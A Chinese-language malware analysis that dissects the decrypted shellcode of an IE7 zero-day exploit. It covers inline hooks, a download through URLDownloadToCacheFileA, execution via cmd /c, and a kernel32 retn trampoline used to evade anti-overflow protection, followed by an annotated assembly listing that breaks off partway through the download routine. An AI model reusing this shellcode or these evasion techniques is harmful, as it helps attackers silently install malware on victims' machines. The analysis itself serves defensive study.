| 关键词: nbsp shellcode 函数 call 004070 eax push mov edi 代码 |
IE7 0DAY漏洞所用shellcode的分析 继上次flash漏洞所用shellcode的分析后,过了半年,IE7 0DAY又来了。于是我同样看了这个漏洞所用的shellcode。 与上次分析的shellcode相比,可以看出,由于这两个溢出提供给黑客可供写入shellcode的缓冲区都很大,shellcode在这种情况下可以不考虑空间限制,而毫无顾忌地把自己做得功能又全又强大。 以下IE7 0DAY所用shellcode,其主要行为不外乎下载病毒到本机并运行,但是实现起来与一般短小的shellcode有所不同: 1. 在进行实质性动作之前,shellcode进行了三个inline hook,hook的API函数分别为: kernel32!UnhandledExceptionFilter user32!MessageBeep ntdll!LdrShutdownThread 我没明白hook掉这三个API有何必要,而且是直接转到shellcode定义的替代函数,调用之后没有回到原始函数中。 UnhandledExceptionFilter的替代函数retn时的堆栈似乎不平? 其他两个替代函数,则是通过调用EnumWindows来关闭IE的窗口并退出。 注:在看雪发帖后,经人提醒,这三个INLINE HOOK的作用,以及最后调用shdocvw.dll #101 IEWinMain的目的,是让浏览器执行完shellcode后不会crash。 2. 实现下载使用URLDownloadToCacheFileA而不使用通常的URLDownloadToFileA,运行病毒则使用CreateProcessA创建cmd.exe进程,由cmd.exe进程/c参数运行病毒。 使用URLDownloadToCacheFileA可以理解为尝试避免对URLDownloadToFileA的监控。但是此后直接运行下载到临时文件夹的病毒程序(虽然用了cmd),这个作法显然不隐蔽。 3. 在调用VirtualProtect、GetProcAddress、LoadLibraryA等敏感函数时,尝试绕过安全软件的防溢出检测,这个方法flash漏洞shellcode也用过,就是在kernel32.dll中找到一个retn命令作为跳板。 另外调用一些函数时,尝试绕过可能存在的INLINE HOOK,但是只能绕过直接修改开头5字节为jmp或call这种方式的INLINE HOOK。 4. 有不少冗余的代码似乎始终没被使用过。很可能这个shellcode是从一个“通用shellcode模块”中提取的,才会有这种情况出现。 这个shellcode“模块化”的特点很明显,主函数子函数交织得密密麻麻,比flash漏洞所用shellcode还要罗嗦,某种角度上看它更像一个win32汇编写出来的程序模块,而不是通常追求简练的shellcode。同样是长度非常长的shellcode,它在简练程度上不如flash漏洞所用shellcode。 下面是shellcode的内容和注释。 shellcode前面的xor解密部分代码已经去掉,分析的直接是解密后的shellcode原样。 分析基本都以注释的形式出现。因为shellcode“模块化”的特点,我把子函数加了标签,这样就可以很直接地看出shellcode的流程和功能。 标签中形如"Get_GlobalAlloc"的函数,功能是获得相应API函数的地址(在eax中返回)。 标签中形如"Getkernel32"的函数,功能是获得相应DLL模块的基址(在eax中返回)。 其他的函数标签名称也应该是比较容易理解的。 主函数执行流程与以前一样用(1)、(2)……标明顺序,以便于阅读。 ********************************************************************************************************************; shellcode开始00407000 > E8 36030000 call <Get_GlobalAlloc> ; (1)得到GlobalAlloc地址并call之,申请全局内存00407005 68 00200000 push 20000040700A 6A 00 push 00040700C FFD0 call eax ; GlobalAlloc0040700E B9 00100000 mov ecx, 100000407013 8BF8 mov edi, eax00407015 EB 05 jmp short 0040701C ; (2)跳到下面的call,定位下面的代码00407017 5E pop esi ; (4)esi=0040702100407018 F3:A4 rep movs byte ptr es:[edi], byte ptr [esi] ; 将下面内容拷贝到全局内存。这样做是因为下面有做INLINE HOOK,HOOK的替代函数代码必须在shellcode退出后保持有效,故要放在全局内存中(shellcode退出时这部分内存不free)。0040701A FFD0 call eax ; (5)call进这部分内容执行。这里可以直接把eax改回00407021,就可以在原代码中执行了0040701C E8 F6FFFFFF call 00407017 ; (3)F700407021 E8 3D030000 call <Get_UnhandledExceptionFilter> ; (6)得到UnhandledExceptionFilter地址,并对其做InlineHook00407026 8BF8 mov edi, eax00407028 E8 38000000 call <ChangeMemoryCharacterToWrite>0040702D E8 4D010000 call <InlineHook_UnhandledExceptionFilter>00407032 E8 46000000 call <ChangeMemoryCharacterBack>00407037 E8 DB030000 call <Get_MessageBeep> ; (7)对MessageBeep做InlineHook0040703C 8BF8 mov edi, eax0040703E E8 22000000 call <ChangeMemoryCharacterToWrite>00407043 E8 44010000 call <InlineHook_MessageBeep>00407048 E8 30000000 call <ChangeMemoryCharacterBack>0040704D E8 89030000 call <Get_LdrShutdownThread> ; (8)对LdrShutdownThread做InlineHook00407052 8BF8 mov edi, eax00407054 E8 0C000000 call <ChangeMemoryCharacterToWrite>00407059 E8 61010000 call <InlineHook_LdrShutdownThread>0040705E E8 1A000000 call <ChangeMemoryCharacterBack>00407063 EB 58 jmp short 004070BD ; (9)跳到真正执行下载运行病毒的代码********************************************************************************************************************; 接下来是部分子函数代码:ChangeMemoryCharacterToWrite:; 通过调用VirtualProtect改目标内存属性为可写,以做InlineHook。对VirutalProtect进行调用时考虑了绕过可能的Inlinehook。00407065 > 53 push ebx00407066 8BDC mov ebx, esp00407068 53 push ebx00407069 6A 40 push 400040706B 68 00100000 push 100000407070 57 push edi00407071 E8 B1020000 call <Get_VirtualProtect> ; 得到VirtualProtect地址00407076 E8 E5000000 call <CallPassingInlineHook> ; 尝试跳过其中可能存在的INLINE HOOK而调用之0040707B 58 pop eax0040707C C3 retnChangeMemoryCharacterBack:; 将内存属性改回。0040707D > 53 push ebx0040707E 8BDC mov ebx, esp00407080 53 push ebx00407081 6A 20 push 2000407083 68 00100000 push 100000407088 57 push edi00407089 E8 99020000 call <Get_VirtualProtect>0040708E E8 CD000000 call <CallPassingInlineHook>00407093 58 pop eax00407094 C3 retnFindRetCodeInkernel32:; 为了躲过某些安全软件的数据溢出检测,从kernel32.dll的空间中找到一个retn命令,作为跳板使用。00407095 > 57 push edi00407096 E8 3C040000 call <Getkernel32> ; 读取PEB得到kernel32基址0040709B 8BF8 mov edi, eax0040709D 33C9 xor ecx, ecx0040709F 49 dec ecx004070A0 33C0 xor eax, eax004070A2 B0 C3 mov al, 0C3004070A4 FC cld004070A5 F2:AE repne scas byte ptr es:[edi] ; 扫描到其中的"retn"命令004070A7 8D47 FF lea eax, dword ptr [edi-1]004070AA 5F pop edi004070AB C3 retnDoInlineHook:对edi处的代码进行InlineHook。004070AC > 5B pop ebx ; ebx=替代函数地址004070AD 3E:C607 B8 mov byte ptr [edi], 0B8 ; mov eax, ProxyFunc004070B1 3E:895F 01 mov dword ptr [edi+1], ebx004070B5 66:3E:C747 05 F>mov word ptr [edi+5], 0E0FF ; jmp eax004070BC C3 retn ********************************************************************************************************************; 主函数代码后面部分,下载病毒004070BD /E9 95040000 jmp <LastCode> ; (10)跳到下面一个call来定位数据区。004070C2 |5B pop ebx ; ebx=病毒URL地址004070C3 |81EC 14010000 sub esp, 114004070C9 |8BD4 mov edx, esp004070CB |3E:C702 636D642>mov dword ptr [edx], 20646D63 ; 'cmd /c "'004070D2 |3E:C742 04 2F63>mov dword ptr [edx+4], 2220632F004070DA |83C2 08 add edx, 8004070DD |33C0 xor eax, eax004070DF |50 push |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|